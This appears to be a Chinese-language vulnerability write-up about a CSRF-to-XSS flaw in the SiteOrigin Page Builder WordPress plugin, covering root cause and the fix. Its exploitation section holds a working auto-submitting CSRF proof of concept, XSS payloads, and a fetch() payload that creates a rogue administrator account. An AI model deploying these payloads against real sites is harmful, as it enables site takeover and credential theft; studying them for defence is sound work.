WordPress Page Buider插件 CSRF to XSS漏洞分析
字数 1410 2025-08-25 22:58:46

WordPress Page Builder插件CSRF to XSS漏洞分析教学文档

1. 漏洞概述

受影响插件: Page Builder by SiteOrigin
影响版本: 2.10.15及以下版本
插件安装量: 超过100万
漏洞类型: CSRF导致XSS
危害等级: 高危
漏洞影响: 攻击者可诱使管理员点击恶意链接,创建新管理员账户并安装后门程序

2. 插件功能背景

Page Builder by SiteOrigin是一个WordPress页面构建插件,提供以下主要功能:

  • 基于小工具的页面生成器
  • 实时编辑器功能
  • 响应式页面设计
  • 草稿编辑与预览

3. 漏洞技术分析

3.1 漏洞位置

漏洞存在于插件的实时编辑器功能中,具体路径为:

  1. 用户通过前端实时编辑器提交修改
  2. 后端处理实时编辑器数据的逻辑存在缺陷

3.2 漏洞触发流程

  1. 实时编辑器访问:

    • 用户点击实时编辑器按钮
    • 访问URL包含参数: ?siteorigin_panels_live_editor=true
    • 插件通过is_live_editor()函数检测实时编辑器状态
  2. 数据提交:

    POST /wp-admin/admin-ajax.php?p=[文章ID]&siteorigin_panels_live_editor=true
    

    参数:

    • p: 当前编辑的文章ID
    • siteorigin_panels_live_editor: 标识实时编辑器状态
    • live_editor_panels_data: 修改后的页面数据(JSON格式)
  3. 后端处理:

    • SiteOrigin_Panels_Live_Editor::single()加载实时编辑器
    • 构造函数通过add_action挂载post_metadataget_post_metadata hook
    • post_metadata函数处理数据但缺少CSRF防护
  4. XSS防护关闭:

    header('X-XSS-Protection: 0');
    

    明确关闭了浏览器的XSS防护机制

3.3 关键漏洞点

  1. CSRF漏洞:

    • post_metadata函数未验证nonce(CSRF token)
    • 允许跨站请求伪造数据提交
  2. XSS注入点:

    • live_editor_panels_data参数中的内容未经充分过滤
    • 通过generate_post_content处理后直接输出到页面

4. 漏洞利用方法

4.1 构造恶意请求

  1. 准备包含XSS payload的JSON数据:

    {
      "widgets": [{
        "info": {
          "class": "SiteOrigin_Panels_Widgets_Text"
        },
        "text": "<script>alert('XSS')</script>"
      }],
      "grids": [],
      "grid_cells": []
    }
    
  2. 编码为URL参数:

    live_editor_panels_data=%7B%22widgets%22%3A%5B%7B%22info%22%3A%7B%22class%22%3A%22SiteOrigin_Panels_Widgets_Text%22%7D%2C%22text%22%3A%22%3Cscript%3Ealert(%27XSS%27)%3C%2Fscript%3E%22%7D%5D%2C%22grids%22%3A%5B%5D%2C%22grid_cells%22%3A%5B%5D%7D
    

4.2 构造CSRF POC

<html>
  <body>
    <form action="https://target-site.com/wp-admin/admin-ajax.php?p=1&siteorigin_panels_live_editor=true" method="POST">
      <input type="hidden" name="live_editor_panels_data" value='{"widgets":[{"info":{"class":"SiteOrigin_Panels_Widgets_Text"},"text":"<script>malicious_code_here</script>"}],"grids":[],"grid_cells":[]}' />
      <input type="submit" value="Submit" />
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>

4.3 高级利用

可通过XSS执行以下操作:

  1. 创建管理员账户
  2. 安装后门插件
  3. 窃取会话cookie
  4. 修改网站内容

示例payload:

fetch('/wp-admin/user-new.php', {
  method: 'POST',
  body: new URLSearchParams({
    'action': 'createuser',
    '_wpnonce_create-user': document.querySelector('#createuser input[name="_wpnonce_create-user"]').value,
    'user_login': 'attacker',
    'email': 'attacker@example.com',
    'pass1': 'Password123',
    'pass2': 'Password123',
    'role': 'administrator',
    'send_user_notification': '0'
  }),
  credentials: 'include'
});

5. 漏洞修复方案

5.1 官方修复

在2.10.16版本中:

  1. 添加了wp_verify_nonce()检查
  2. 关键代码修改:
    if ( ! wp_verify_nonce( $_GET['_sononce'], 'live-editor-edit' ) ) {
        wp_die( __( 'Invalid request.', 'siteorigin-panels' ) );
    }
    

5.2 临时防护措施

  1. 升级到最新版本
  2. 若无升级条件:
    • 禁用实时编辑器功能
    • 添加自定义CSRF防护
    • 通过WAF拦截可疑请求

6. 安全建议

  1. 开发者建议:

    • 对所有修改操作实施CSRF防护
    • 严格过滤用户输入
    • 谨慎使用X-XSS-Protection: 0
    • 实施内容安全策略(CSP)
  2. 管理员建议:

    • 定期更新插件
    • 限制管理员账户访问权限
    • 监控可疑的管理员活动
    • 使用安全插件增强防护

7. 参考链接

WordPress Page Builder插件CSRF to XSS漏洞分析教学文档 1. 漏洞概述 受影响插件 : Page Builder by SiteOrigin 影响版本 : 2.10.15及以下版本 插件安装量 : 超过100万 漏洞类型 : CSRF导致XSS 危害等级 : 高危 漏洞影响 : 攻击者可诱使管理员点击恶意链接,创建新管理员账户并安装后门程序 2. 插件功能背景 Page Builder by SiteOrigin是一个WordPress页面构建插件,提供以下主要功能: 基于小工具的页面生成器 实时编辑器功能 响应式页面设计 草稿编辑与预览 3. 漏洞技术分析 3.1 漏洞位置 漏洞存在于插件的实时编辑器功能中,具体路径为: 用户通过前端实时编辑器提交修改 后端处理实时编辑器数据的逻辑存在缺陷 3.2 漏洞触发流程 实时编辑器访问 : 用户点击实时编辑器按钮 访问URL包含参数: ?siteorigin_panels_live_editor=true 插件通过 is_live_editor() 函数检测实时编辑器状态 数据提交 : 参数: p : 当前编辑的文章ID siteorigin_panels_live_editor : 标识实时编辑器状态 live_editor_panels_data : 修改后的页面数据(JSON格式) 后端处理 : SiteOrigin_Panels_Live_Editor::single() 加载实时编辑器 构造函数通过 add_action 挂载 post_metadata 到 get_post_metadata hook post_metadata 函数处理数据但缺少CSRF防护 XSS防护关闭 : 明确关闭了浏览器的XSS防护机制 3.3 关键漏洞点 CSRF漏洞 : post_metadata 函数未验证 nonce (CSRF token) 允许跨站请求伪造数据提交 XSS注入点 : live_editor_panels_data 参数中的内容未经充分过滤 通过 generate_post_content 处理后直接输出到页面 4. 漏洞利用方法 4.1 构造恶意请求 准备包含XSS payload的JSON数据: 编码为URL参数: 4.2 构造CSRF POC 4.3 高级利用 可通过XSS执行以下操作: 创建管理员账户 安装后门插件 窃取会话cookie 修改网站内容 示例payload: 5. 漏洞修复方案 5.1 官方修复 在2.10.16版本中: 添加了 wp_verify_nonce() 检查 关键代码修改: 5.2 临时防护措施 升级到最新版本 若无升级条件: 禁用实时编辑器功能 添加自定义CSRF防护 通过WAF拦截可疑请求 6. 安全建议 开发者建议 : 对所有修改操作实施CSRF防护 严格过滤用户输入 谨慎使用 X-XSS-Protection: 0 实施内容安全策略(CSP) 管理员建议 : 定期更新插件 限制管理员账户访问权限 监控可疑的管理员活动 使用安全插件增强防护 7. 参考链接 官方修复提交: SiteOrigin GitHub WordPress插件目录: Page Builder by SiteOrigin CVE数据库记录: [ 相关CVE条目 ]